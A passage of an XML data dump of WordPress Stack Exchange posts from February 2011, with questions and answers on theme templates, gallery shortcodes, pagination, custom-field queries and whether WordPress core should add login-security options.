featured image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-17T11:26:57.327" Title="Displaying Child pages of the current page in post format and their thumbnails (featured image)?" Tags="&lt;page&gt;&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="9600" PostTypeId="2" ParentId="9599" CreationDate="2011-02-17T11:23:16.183" Score="2" ViewCount="" Body="&lt;p&gt;you need to add &lt;code&gt;setup_postdata($page);&lt;/code&gt; &#xA;inside your foreach loop and then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should work.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T11:23:16.183" />
  <row Id="9601" PostTypeId="2" ParentId="9599" CreationDate="2011-02-17T11:26:57.327" Score="3" ViewCount="" Body="&lt;p&gt;You're not inside a regular loop, or at least not one where global post variables are set, so &lt;code&gt;the_post_thumbnail&lt;/code&gt; does not have an ID to fetch a thumbnail for..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;get_the_post_thumbnai( $page-&amp;gt;ID )&lt;/code&gt; instead and it should work fine.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-17T11:26:57.327" CommentCount="2" />
  <row Id="9602" PostTypeId="1" AcceptedAnswerId="9611" CreationDate="2011-02-17T11:33:31.397" Score="0" ViewCount="95" Body="&lt;p&gt;I have a wordpress custom theme that started giving a weird error out from the blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time you post a comment it will return a javascript alert with all the content of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't made any changes to the theme that would have effect in this so I have no idea why is this happening, I tried removing all the javascript of the theme, updating the comments related files in the server (the same error happens locally) and replacing the comments.php with a generic template or using &lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php comments_template(); ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test it in &lt;a href=&quot;http://www.faf.fi/uutiset/faf-international-ohjaajakoulutukset-alkavat-pian/&quot; rel=&quot;nofollow&quot;&gt;http://www.faf.fi/uutiset/faf-international-ohjaajakoulutukset-alkavat-pian/&lt;/a&gt; (text in Finnish, Nimi = Name, Sähköposti = Email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2085" LastActivityDate="2011-02-17T13:06:40.657" Title="Comment form in wordpress theme returns a javascript alert" Tags="&lt;comments&gt;&lt;javascript&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="9603" PostTypeId="1" AcceptedAnswerId="9614" CreationDate="2011-02-17T11:33:58.037" Score="0" ViewCount="461" Body="&lt;p&gt;I am displaying a post gallery inside a custom post type, using the following in my single-custom.php template:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[gallery id=&quot;'.$post-&amp;gt;ID.'&quot; link=&quot;file&quot; columns=&quot;5&quot; orderby=&quot;menu_order&quot;]'); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the things included in the output is &lt;code&gt;title=&quot;filename&quot;&lt;/code&gt; in the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag, like so:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; src=&quot;http://mydomain.com/wp-content/uploads/DSC_0036-150x150.jpg&quot; class=&quot;attachment-thumbnail&quot; alt=&quot;DSC_0036&quot; title=&quot;DSC_0036&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to output the title attribute. Mostly, I don't want crappy filenames in the hover-over text, but there are hundreds of images and I'm not prepared to go into the Media Gallery and edit the title for each one. I'd prefer to also change the &lt;code&gt;alt&lt;/code&gt; attribute to the post name, perhaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to filter the gallery to output the post name in the alt and title attributes, instead of the filename?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-07-03T03:04:42.840" Title="How do I filter title and alt attributes in the gallery shortcode?" Tags="&lt;filters&gt;&lt;gallery&gt;" AnswerCount="2" />
  <row Id="9605" PostTypeId="2" ParentId="9593" CreationDate="2011-02-17T11:37:16.473" Score="0" ViewCount="" Body="&lt;p&gt;Its a better way, you build your own paginatin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo paginate_links(array(&#xA;  'current' =&amp;gt; 5,&#xA;  'total' =&amp;gt; 9,&#xA;  'prev_text' =&amp;gt; '&amp;amp;laquo; Prev'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or via custom solutions, see this 2 posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengineer.com/2078/custom-pagination-without-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2078/custom-pagination-without-wordpress-plugins/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengineer.com/2133/wordpress-pagination-again/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/2133/wordpress-pagination-again/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-02-17T11:37:16.473" CommentCount="4" />
  <row Id="9606" PostTypeId="1" CreationDate="2011-02-17T11:47:39.163" Score="0" ViewCount="64" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/share-this/&quot; rel=&quot;nofollow&quot;&gt;the ShareThis plugin&lt;/a&gt; in my blog. When I click on the email tab and send a mail to my friend, only the post title and post link is included in the mail. Contents are not showing up in the mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to change this?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-17T13:06:49.020" LastActivityDate="2011-02-17T13:17:51.787" Title="Content of post does not end up in &quot;ShareThis&quot; mail" Tags="&lt;email&gt;&lt;plugin-share-this&gt;" AnswerCount="1" />
  <row Id="9607" PostTypeId="2" ParentId="9495" CreationDate="2011-02-17T12:00:51.273" Score="1" ViewCount="" Body="&lt;p&gt;I created a version for TinyMCE, it was not too hard. The trick was to hijack &lt;code&gt;includes_url&lt;/code&gt;, this was the only way to change the path to the TinyMCE script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a plugin that has non-minified versions of TinyMCE 3.2.7 (WP 2.9 and 3.0) and 3.3.9.3 (WP 3.1). &lt;a href=&quot;http://dl.dropbox.com/u/7057637/monkeyman-tinymce-debug.zip&quot; rel=&quot;nofollow&quot;&gt;You can download it via Dropbox&lt;/a&gt;, let me know what you think!&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-17T12:00:51.273" />
  <row Id="9608" PostTypeId="1" AcceptedAnswerId="9609" CreationDate="2011-02-17T12:28:26.400" Score="0" ViewCount="130" Body="&lt;p&gt;I would like to manually edit the code my my wordpress pages. The WP interface only allows me to individually edit the CSS or PHP. The Page Edit feature gives me access to a certain part of the code, excluding the Body Tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly help me locate my files on the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2011-02-17T16:11:07.457" Title="In which directory do I find the HTML file of my wordpress pages?" Tags="&lt;html&gt;&lt;server&gt;" AnswerCount="2" />
  <row Id="9609" PostTypeId="2" ParentId="9608" CreationDate="2011-02-17T12:45:02.093" Score="2" ViewCount="" Body="&lt;p&gt;WordPress stores content in the database, there are not any physical files with the content of the pages(or posts). The theme's template files control how to render and display your site, you can find those files in &lt;code&gt;wp-content/themes/YOUR-ACTIVE-THEME-NAME-HERE&lt;/code&gt;..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find lots of information on themes and their development here.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information and guidance can be found through the other documentation listed in the resources section of the above linked page, here it is for quick reference.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Resources_and_References&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development#Resources_and_References&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search of the WordPress forums would have also provided you with the information needed(just something to note).&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/search/where+is+content+stored?forums=1&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/search/where+is+content+stored?forums=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-17T12:45:02.093" />
  <row Id="9610" PostTypeId="1" AcceptedAnswerId="9613" CreationDate="2011-02-17T13:00:17.530" Score="-3" ViewCount="99" Body="&lt;p&gt;Based on the passion engendered with the responses to this question. It appears that the answer is a resounding &quot;Nothing!&quot; or &quot;leave it to plugin developers to handle, WP is already secure enough&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess I'm way off base with the question? It appears to have stirred a hornet's nest and that was not the intent. Never the less, here's the real world outcome...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just got an email from one of my customers who had 12 of his sites hacked because an attacker cracked his password. His comments opened my eyes a bit to the possibilities for some very easy options that could be added to the WordPress core in order to help make WP sites less prone to these kinds of attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest thing a user can do is to change the default username. I would guess that over 90% of live WP sites have an &quot;admin&quot; user profile that may or may not be used, but that obviously has full rights and permissions. An attacker's job is already half done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But WP core could be enhanced with some very simple security options too. How hard would it be to add...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Failed login attempts lockout (user defined setting)&lt;/li&gt;&#xA;&lt;li&gt;Regulate the time between failed login attempts (user defined setting in seconds)&lt;/li&gt;&#xA;&lt;li&gt;IP range restriction (set a list of IPs from which logins are accepted)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are just a few things off the top of my head. I'm sure you guys have some better options too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the point of my question is not what &quot;users&quot; should do to enhance security, that's a whole other question. I'm asking what steps WP could take to provide some OPTIONS, nothing mandatory, but things that plugin developers are currently having to fill gaps where stuff should be part of every default WP installation (IMHO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are any of these kinds of enhancements planned for near term WP releases?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-02-17T15:33:02.227" LastActivityDate="2011-02-17T15:33:02.227" Title="Should WordPress Add Options to Enhance Security or Leave it to plugin developers?" Tags="&lt;security&gt;&lt;hacked&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="9611" PostTypeId="2" ParentId="9602" CreationDate="2011-02-17T13:06:40.657" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I tried removing all the javascript of the theme, updating the comments related files in the server (the same error happens locally)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is a result of this file(you obviously didn't disable that one in testing).&lt;br&gt;&#xA;&lt;a href=&quot;http://www.faf.fi/wp-content/themes/faf/scripts/js/functions.js&quot; rel=&quot;nofollow&quot;&gt;http://www.faf.fi/wp-content/themes/faf/scripts/js/functions.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocking that script in my browser resolves the issue, but i think it's this area of the script specifically that's failing..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $('form').submit( function(){&#xA;&#xA;        var form = $(this);&#xA;&#xA;        if ( validateForm( this ) ) {&#xA;&#xA;            $.post(&#xA;                form.attr('action'),        //url   A string containing the URL to which the request is sent&#xA;                form.serialize(),           //data  A map or string that is sent to the server with the request.&#xA;&#xA;                //success   A callback function that is executed if the request succeeds&#xA;                function(response, status, request){&#xA;                    // do something with response&#xA;                    alert( stripTags(response) );&#xA;                }&#xA;&#xA;                //dataType  The type of data expected from the server (text, xml, json)&#xA;            );&#xA;        }&#xA;        //Prevent default&#xA;        return false;&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The alert you're seeing is generated by that function. I have no idea what the cause of your issue is nor how to resolve it(i'm no JS expert), but i'm pretty certain this function is the source of your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-17T13:06:40.657" CommentCount="2" />
  <row Id="9612" PostTypeId="2" ParentId="9606" CreationDate="2011-02-17T13:17:51.787" Score="2" ViewCount="" Body="&lt;p&gt;One year ago &lt;a href=&quot;http://forums.sharethis.com/topic.php?id=361#post-1456&quot; rel=&quot;nofollow&quot;&gt;a support employee wrote&lt;/a&gt; that &quot;as of right now, the only fields that will show up in an email share is the link title and URL.&quot; I don't know whether this is still the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I doubt that ShareThis would ever send the whole contents of the post via mail. I would imagine a webmaster would prefer the receiver of the mail to visit the site instead of just reading everything in the mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ShareThis does document &lt;a href=&quot;http://help.sharethis.com/customization/share-properties&quot; rel=&quot;nofollow&quot;&gt;some Open Graph tags&lt;/a&gt;, including &lt;code&gt;og:description&lt;/code&gt;. Can you try that and tell us whether they end up in the mail?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-17T13:17:51.787" CommentCount="2" />
  <row Id="9613" PostTypeId="2" ParentId="9610" CreationDate="2011-02-17T13:24:37.100" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;RE:&lt;/strong&gt; &lt;em&gt;Username - admin&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since version 3.0 the installer asks the user to provide a username for the main account, you obviously won't get this option if you upgrade from an older version(because it's not a new installation).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an image of this here:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress#Step_5:_Run_the_Install_Script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Installing_WordPress#Step_5:_Run_the_Install_Script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RE:&lt;/strong&gt; &lt;em&gt;Blocking malicious users&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no real effective way to do it, because any information you can obtain and hold about a user can be spoofed and changed within moments, you run the risk of blocking legitimate users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RE:&lt;/strong&gt; &lt;em&gt;Failed login attempts&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be useful, but there's always the possibility a malicious user locks out an admin(or another user) from their own installation simply by purposely trying to login to that user's account with invalid login credentials. Regulating the time between login attempts might help but in honestly any smart hacker would automate the procedure anyway and this becomes a moot point to some degree(but yeah sure, it will stop a few).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's just my opinion on those specific points, take it as you will.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-17T13:24:37.100" CommentCount="7" />
  <row Id="9614" PostTypeId="2" ParentId="9603" CreationDate="2011-02-17T13:29:44.770" Score="4" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;[gallery]&lt;/code&gt; shortcode is parsed by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/media.php#L743&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;gallery_shortcode()&lt;/code&gt;&lt;/a&gt;, which calls &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/media.php#L587&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_link()&lt;/code&gt;&lt;/a&gt;, which in turns calls &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/media.php#L617&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image()&lt;/code&gt;&lt;/a&gt;. This latter function writes the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag with the &lt;code&gt;title&lt;/code&gt; attribute. You're lucky, because the attributes are filtered through &lt;code&gt;wp_get_attachment_image_attributes&lt;/code&gt;, so you can hook into that and remove the &lt;code&gt;title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, you attach the hook before you call the shortcode and remove it after you did this. You can either do this in your template if it's a one-off, or, if you are more advanced, you &quot;hijack&quot; the &lt;code&gt;[gallery]&lt;/code&gt; shortcode with your own function that adds the hook, calls the original &lt;code&gt;gallery_shortcode()&lt;/code&gt; function, and removes the hook.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-17T13:29:44.770" CommentCount="3" />
  <row Id="9615" PostTypeId="2" ParentId="9525" CreationDate="2011-02-17T13:30:19.043" Score="0" ViewCount="" Body="&lt;p&gt;Could you explain your context a little?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think CSS is very fitting solutions to this. Partly because it makes sense for content/presentation balance, partly because custom menus are quite complex to figure out and I usually stay away form their internals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use CSS with set of icons at my blog, so I just add a custom class to menu item and CSS styles it accordingly. See &lt;a href=&quot;http://www.rarst.net/&quot; rel=&quot;nofollow&quot;&gt;Rarst.net&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T13:30:19.043" CommentCount="1" />
  <row Id="9616" PostTypeId="2" ParentId="9558" CreationDate="2011-02-17T13:38:48.647" Score="0" ViewCount="" Body="&lt;p&gt;There is number of specially named files that get loaded automatically when present. They are called &lt;code&gt;Drop-ins&lt;/code&gt; and are displayed in Plugins interface when present (since some recent WP versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/hyKL4.png&quot; alt=&quot;&quot; title=&quot;WordPress Drop-ins plugins&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can be added by regular plugin or manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this only works for specific files. Those that are not recognized as drop-in won't run automatically and will require activation as usual or placing them in &lt;code&gt;mu-plugins&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T13:38:48.647" />
  <row Id="9618" PostTypeId="2" ParentId="9584" CreationDate="2011-02-17T13:49:28.450" Score="1" ViewCount="" Body="&lt;p&gt;Custom conditional I wrote for my theme (mostly to kick some widgets and ads from newer posts), works nicely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_old_post( $days = 14 ) {&#xA;&#xA;    if( !is_single() )&#xA;       return false;&#xA;&#xA;    $id = get_the_ID();&#xA;    $date = get_post_field( 'post_date', $id );&#xA;&#xA;    if( strtotime( $date ) &amp;lt; strtotime( &quot;-{$days} days&quot; ) )&#xA;        return true;&#xA;&#xA;   return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T13:49:28.450" CommentCount="1" />
  <row Id="9619" PostTypeId="2" ParentId="9610" CreationDate="2011-02-17T14:04:20.093" Score="2" ViewCount="" Body="&lt;p&gt;I assume you had never dealt with considerably large user base of something under tight login security? It's not pretty... :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Login changes you propose will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do little about security, because most of hacks are from outdated versions and poor server security, not bruteforced logins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate more negative feedback from users than security issues ever did and ever will.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The thing is that WordPress only works as part of web server stack. There is only so much it could do about security and blanket measures will do more harm than good in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress takes care of everything it can and is plugin-driven to add and configure what you specifically need. It is hard to jump higher than this.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T14:04:20.093" CommentCount="3" />
  <row Id="9620" PostTypeId="2" ParentId="9610" CreationDate="2011-02-17T14:06:34.730" Score="2" ViewCount="" Body="&lt;p&gt;If your customer had 12 sites get hacked then one of two things needs to happen: either he needs to get a better host, or he needs to stop creating security holes in his sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress doesn't need to do any of the things you suggested because they either already have (you can choose your own admin username at install), or the use-case doesn't dictate it. As t31os pointed out, while those things could be useful, they could also be used by hackers as a weapon against the admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not enough people need or want those security measures to even justify them as an option in core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, they are an option in core:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Plugins --&gt; Add New, search for 'Login Lockdown' and install.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-17T14:06:34.730" CommentCount="2" />
  <row Id="9623" PostTypeId="1" AcceptedAnswerId="10241" CreationDate="2011-02-17T14:19:15.447" Score="1" ViewCount="764" Body="&lt;p&gt;I have a custom post type &quot;Listing&quot; and I want to get all Listings that have a custom field &lt;code&gt;gateway_value != 'Yes'&lt;/code&gt;, and order the results by another custom field, &lt;code&gt;location_level1_value&lt;/code&gt;.  I can get the queries to work separately, but I can't combine them:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Query 1 (sort by location):&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                $wp_query = new WP_Query( array (&#xA;                    'post_type' =&amp;gt; 'listing',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'posts_per_page' =&amp;gt; '9',&#xA;                    'meta_key' =&amp;gt; 'location_level1_value',&#xA;                    'orderby' =&amp;gt; 'location_level1_value',&#xA;                    'order' =&amp;gt; 'ASC',&#xA;                    'paged' =&amp;gt; $paged&#xA;                    )&#xA;                 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Query 2 (custom field value != Yes):&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                $wp_query = new WP_Query( array (&#xA;                    'post_type' =&amp;gt; 'listing',&#xA;                    'posts_per_page' =&amp;gt; '9',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'meta_key' =&amp;gt; 'gateway_value',&#xA;                    'meta_value' =&amp;gt; 'Yes',&#xA;                    'meta_compare' =&amp;gt; '!=',&#xA;                    'paged' =&amp;gt; $paged&#xA;                    )&#xA;                );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Combined query:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I looked at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt; for help with this, but the following query does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                $wp_query = new WP_Query( array (&#xA;                    'post_type' =&amp;gt; 'listing',&#xA;                    'posts_per_page' =&amp;gt; '9',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'meta_query' =&amp;gt; array(&#xA;                        array(&#xA;                            'key' =&amp;gt; 'gateway_value',&#xA;                            'value' =&amp;gt; 'Yes',&#xA;                            'compare' =&amp;gt; '!='&#xA;                        ),&#xA;                        array(&#xA;                            'key' =&amp;gt; 'location_level1_value'&#xA;                        )&#xA;                    ),&#xA;                    'orderby' =&amp;gt; &quot;location_level1_value&quot;,&#xA;                    'order' =&amp;gt; 'ASC',&#xA;                    'paged' =&amp;gt; $paged&#xA;                    )&#xA;                );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong with the combined query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[UPDATE]: So now that 3.1 has been released, the combined query above still does not work. I do get results, just not sorted correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[UPDATE]: &lt;code&gt;var_dump($wp_query-&amp;gt;request)&lt;/code&gt; gives the following:&lt;br&gt;&#xA;&lt;code&gt;string(527) &quot; SELECT SQL_CALC_FOUND_ROWS  wp_7v1oev_posts.* FROM wp_7v1oev_posts &#xA;INNER JOIN wp_7v1oev_postmeta ON (wp_7v1oev_posts.ID = wp_7v1oev_postmeta.post_id)&#xA;INNER JOIN wp_7v1oev_postmeta AS mt1 ON (wp_7v1oev_posts.ID = mt1.post_id) WHERE 1=1  AND wp_7v1oev_posts.post_type = 'listing' AND (wp_7v1oev_posts.post_status = 'publish') AND wp_7v1oev_postmeta.meta_key = 'gateway_value' AND CAST(wp_7v1oev_postmeta.meta_value AS CHAR) != 'Yes' AND mt1.meta_key = 'location_level1_value'  ORDER BY wp_7v1oev_posts.post_date DESC LIMIT 0, 9&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2011-02-23T22:42:40.057" LastActivityDate="2011-02-23T22:42:40.057" Title="Filter by one custom field, order by another?" Tags="&lt;filters&gt;&lt;wp-query&gt;&lt;custom-field&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9624" PostTypeId="1" CreationDate="2011-02-17T14:22:05.490" Score="3" ViewCount="96" Body="&lt;p&gt;Not much noticeable when working with individual posts, but when you create or delete multiple thousands in bulk and by code - process is quite slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good tweaks to apply and corners to cut?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Context:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt; with categories and tags passed;&lt;/li&gt;&#xA;&lt;li&gt;add several custom fields;&lt;/li&gt;&#xA;&lt;li&gt;create and associate attachments (from existing files).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-17T15:05:27.357" Title="Optimize post insert and delete for bulk operations?" Tags="&lt;posts&gt;&lt;optimization&gt;&lt;bulk&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="9625" PostTypeId="1" CreationDate="2011-02-17T14:23:10.203" Score="0" ViewCount="192" Body="&lt;p&gt;I have to update the information of 1500 members of my clients Wordpress site. I'm using a membership to manage paidd subscriptions and I have to update the custom fields generated by this Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked in the MySQL database and found the following meta keys in the wp_usermeta table:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paypal_user, paypal_status, paypal_custom_fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pyapal_user and paypal_custom_fields have a several bits of information in each one that need updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to import to MySQL using a CSV, but I'm not too sure how to set the data out in the CSV file as I'm not to familiar with MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3245" LastActivityDate="2011-03-19T20:16:15.783" Title="Import CSV to MySQL, with custom registration field information" Tags="&lt;mysql&gt;&lt;bulk-import&gt;" AnswerCount="2" />
  <row Id="9626" PostTypeId="2" ParentId="9576" CreationDate="2011-02-17T14:28:20.070" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;wp_pagenavi( array( 'query' =&amp;gt; $loop ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should work with the code above. Don't hijack the main query if you can avoid it.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-17T14:28:20.070" CommentCount="11" />
